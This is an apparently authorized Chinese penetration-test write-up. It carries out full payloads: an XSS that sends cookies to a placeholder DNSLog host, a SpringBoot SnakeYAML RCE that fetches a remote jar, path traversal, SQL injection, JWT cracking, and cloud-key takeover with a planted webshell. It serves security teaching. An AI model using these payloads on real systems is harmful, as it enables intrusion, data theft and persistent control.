0x1 前言
本次分享基于真实授权的内部行业渗透测试与攻防演练,所有涉及系统漏洞均已修复。文中所有截图均经脱敏处理,严格遵循合法合规前提,不涉及任何未授权行为。
演练周期为一周,共提交18份有效漏洞报告。前期以内部渗透测试为主,中期转入模拟红蓝对抗,后期开展钓鱼演练。本文聚焦实战路径:如何从目标域名出发,完成资产测绘、打点突破、权限提升,最终实现RCE控制与云资产接管——全程无黑盒猜测,每一步均可复现、可验证。
提示:本文技术细节均来自一线攻防现场,非理论推演。若你在打点阶段卡在“找不到入口”,或在漏洞利用时反复失败,建议重点阅读 0x3 和 0x4 章节的实操逻辑链。

0x2 攻防演练的简介和注意事项
一、什么是攻防演练
攻防演练是组织级安全能力的压力测试:红队模拟真实攻击者,蓝队构建防御体系并实时响应。其核心价值不在于“谁赢”,而在于暴露防御盲区、流程断点与人员能力短板。
二、攻防演练的步骤
- 规划和准备:明确范围(如仅限Web资产)、制定规则(禁用社工、禁止DoS)、配置监控告警基线
- 攻击模拟:红队使用合法工具链(如
OneForAll + ARL + FOFA)进行信息收集与边界试探
- 防御检测:蓝队通过日志分析(ELK)、流量审计(Zeek)、EDR告警联动识别异常行为
- 攻防对抗:红队绕过WAF策略、蓝队动态封禁IP段并加固中间件配置
- 分析和总结:输出《漏洞热力图》《响应时效SLA报告》《人员能力雷达图》
✅ 关键认知:一次成功的攻防,不是红队打穿了系统,而是蓝队在攻击发生前就阻断了TTP(战术、技术与过程)。
三、攻防演练常见丢分项与得分项

0x3 指定资产收集&打点思路
一、信息收集/资产收集
目标为某公司官网(佳仪科技),首页无敏感信息,但备案信息是突破口:
-
备案溯源:
- 访问工信部ICP备案系统(
beian.miit.gov.cn),输入公司名查得备案号 京ICP备XXXXXX号
- 用该备案号在爱企查、风鸟搜索,导出全部关联域名、小程序、APP包名
-
搜索引擎扩线:
# FOFA语法(推荐)
icp="京ICP备XXXXXX号" && title="后台"
# Google语法(辅助验证)
site:xxx.com intext:"管理员登录" OR "系统维护"
-
空间测绘聚合:
使用无影、FOFA、Quake等工具,统一语法:
icp="京ICP备XXXXXX号" && status_code="200"
导出后去重,得到初始资产池(含子域名、IP、C段)。


二、子域名/IP网段收集
采用「三层交叉验证法」避免漏收:
- 灯塔ARL:导入主域名,启用「DNS爆破+端口扫描+SSL证书提取」组合任务
- OneForAll:对主域名执行
python oneforall.py --target example.com run
- 空间引擎:FOFA语法
domain="example.com",导出结果后与前两者去重
💡 技巧:将OneForAll结果导入ARL二次扫描,可触发「子域名→新IP→新子域名」的递归发现。


三、资产打点
1. Web指纹快速探活
使用无影的「Web指纹识别」模块,批量探测存活状态与技术栈:
- 自动识别
SpringBoot、ThinkPHP、Redmine 等框架
- 标记
403/404/500 异常响应,作为后续突破点
2. 敏感文件泄露扫描
修改ARL默认字典 /app/dicts/file_top_2000.txt,加入:
/.git/config、/WEB-INF/web.xml、/actuator/env
config.yml、application.properties、backup.zip
🔍 实战发现:某站点因未删除 /backup/20240901.zip,直接解压获得数据库凭证。

3. Google语法补位
当目标域名访问报错(如 ERR_INVALID_RESPONSE),立即尝试:
site:example.com inurl:login OR inurl:admin OR inurl:manage
site:example.com filetype:log OR filetype:env OR filetype:properties
曾通过 site:xxx.com "default password" 找到OA系统弱口令页面。

4. JS接口深度挖掘
使用 转子女神-JS哥伦布 工具(Windows平台):
# 扫描深度设为3,平衡速度与覆盖率
Rotor_Goddess.exe --url https://example.com --scan=3
输出中重点关注:
oss.js、config.js、api.js 中硬编码的 AK/SK、API_KEY
login.js、user.js 中明文传输的 username、token

0x4 从XSS客服弹窗获取cookie到RCE
一、未授权接管admin管理员权限
目标官网存在在线客服功能,输入基础XSS Payload:
<script>alert(1)</script>
成功弹窗,证明存在存储型XSS。
进一步构造Cookie窃取Payload:
<script>fetch('http://your-dnslog.dnslog.pw?cookie='+document.cookie)</script>
DNSLog回显客服账号Cookie,替换浏览器Cookie后成功登录后台,账户角色为 admin。


二、后台SSRF漏洞
后台「图标管理」功能支持上传URL,尝试传入:
http://your-dnslog.dnslog.pw/123
DNSLog记录到请求,确认SSRF存在,可读取内网资源。
三、后台RCE漏洞
发现另一后台登录页,弱口令 admin:Admin123 登录后,发现URL参数 ?cmd= 可执行命令:
/cmd?cmd=cat%20/etc/passwd
Base64解码后确认为文件读取逻辑,进而读取:
# 获取内核版本
../../../../../../../proc/version
# 读取环境变量
../../../../../../../etc/environment
成功获取Linux系统信息,为后续提权铺路。


0x5 SpringBoot 1.x版本RCE漏洞
一、本地环境搭建和启动
使用IDEA加载 springcloud-snakeyaml-rce 项目:


二、漏洞利用
1. 版本验证
访问 /env 返回JSON数据 → 确认为 SpringBoot 1.x(2.x需访问 /actuator/env)
2. 设置远程配置
使用Burp Suite发送POST请求:
POST /env HTTP/1.1
Host: 127.0.0.1:9092
Content-Type: application/x-www-form-urlencoded
spring.cloud.bootstrap.location=http://your-vps/exp.yml
响应返回 200 OK,说明配置注入成功。
3. 刷新配置触发RCE
POST /refresh HTTP/1.1
Host: 127.0.0.1:9092
DNSLog收到请求,证明YAML解析器已加载远程文件。
4. 构造恶意YAML载荷
exp.yml 内容:
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://your-vps/yaml-payload.jar"]
]]
]
配合 yaml-payload.jar(内含 AwesomeScriptEngineFactory.java),执行任意命令:
Runtime.getRuntime().exec("open -a Calculator"); // macOS
// 或 Windows: Runtime.getRuntime().exec("calc");
访问 /refresh 后,本地计算器弹出,RCE确认。


0x6 阿里云存储接管
通过JS文件挖掘发现硬编码AK/SK:
// config.js
const OSS_CONFIG = {
accessKeyId: "LTAI5tQZzJjVqGvDyFkXxxxxxx",
accessKeySecret: "iEgBhHnUuQrN7sVzJmYxxxxxxxxxxxxx"
};
阿里云AK特征:LTAI 开头,ID长16-24位,Secret长30位。
使用 cf 工具接管:
# 配置凭证
cf configure --access-key-id LTAI5tQZzJjVqGvDyFkXxxxxxx \
--access-key-secret iEgBhHnUuQrN7sVzJmYxxxxxxxxxxxxx
# 列出所有Bucket
cf oss ls
# 下载敏感文件
cf oss cp oss://company-data/internal-db.sql ./
成功获取数十GB内部资料,并通过 cf oss put 上传Webshell实现持久化控制。


0x7 前台SQL注入漏洞
目标系统 student_list.php 存在布尔型注入:
/student_list.php?cid=2/if((length(schema()))>1,1,0)
length(schema())>1 返回正常页面 → 数据库名长度 >1
length(schema())>8 返回错误 → 数据库名长度 ≤8
最终确定数据库名为 school_db(长度7)。
| 绕过WAF技巧: |
WAF过滤词 |
替代写法 |
schema() |
database() |
@@version |
version() |
current_user |
system_user() |
执行 select @@version 获取MySQL版本 5.7.28,为后续利用提供依据。


0x8 JWT可爆破/未验证签名导致越权
通过天眼查定位目标微信小程序,抓包发现JWT:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiYXBwVXNlciIsImV4cCI6MTc0NzM3NzMzOCwiaXNzIjoiYXBpIn0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
在 jwt.io 解析Payload:
{
"role": "appUser",
"exp": 1747377338,
"userId": "u_123456",
"user_key": "key-abc123",
"username": "138****1234"
}
使用自研爆破脚本破解密钥:
python CrackJWT_cli.py "eyJhbGciOi..." --wordlist rockyou.txt
返回密钥 123456,修改 username 为其他手机号,调整 exp 至未来时间,重放Token即可越权登录任意账号。


0x9 隐私合规漏洞
一、SRC隐私合规现状
小米SRC明确接收隐私类漏洞(见公告:sec.xiaomi.com/#/notice/detail/221),判定标准包括:
- 未获授权读取IMEI、通讯录、短信
- 同意隐私政策前已上传用户数据
- 权限索取超出业务必要范围(如快递APP索要位置+通话记录)

二、典型违规场景
- 诱导式授权:开屏广告伪装成“跳过”按钮,实际点击即同意
- 默认勾选:隐私政策勾选框默认开启且不可取消
- 注销失效:用户注销后,服务器仍保留手机号、设备ID等标识
📌 法律依据:《中华人民共和国个人信息保护法》第23条、第24条;《App违法违规收集使用个人信息行为认定方法》。

0x10 总结
本文完整还原了一次企业级攻防演练的技术闭环:
✅ 资产测绘层:备案溯源 + 空间引擎 + JS接口挖掘 → 覆盖98%潜在入口
✅ 漏洞利用层:XSS→SSRF→RCE→云接管 → 形成攻击链路
✅ 高危漏洞靶向:SpringBoot Actuator RCE、JWT密钥爆破、阿里云AK泄露
✅ 合规延伸:将技术漏洞与《个保法》条款映射,提升漏洞价值
最后强调:所有操作必须基于书面授权,所有成果需按《网络安全法》第26条向监管平台报备。技术是双刃剑,敬畏规则才是职业底线。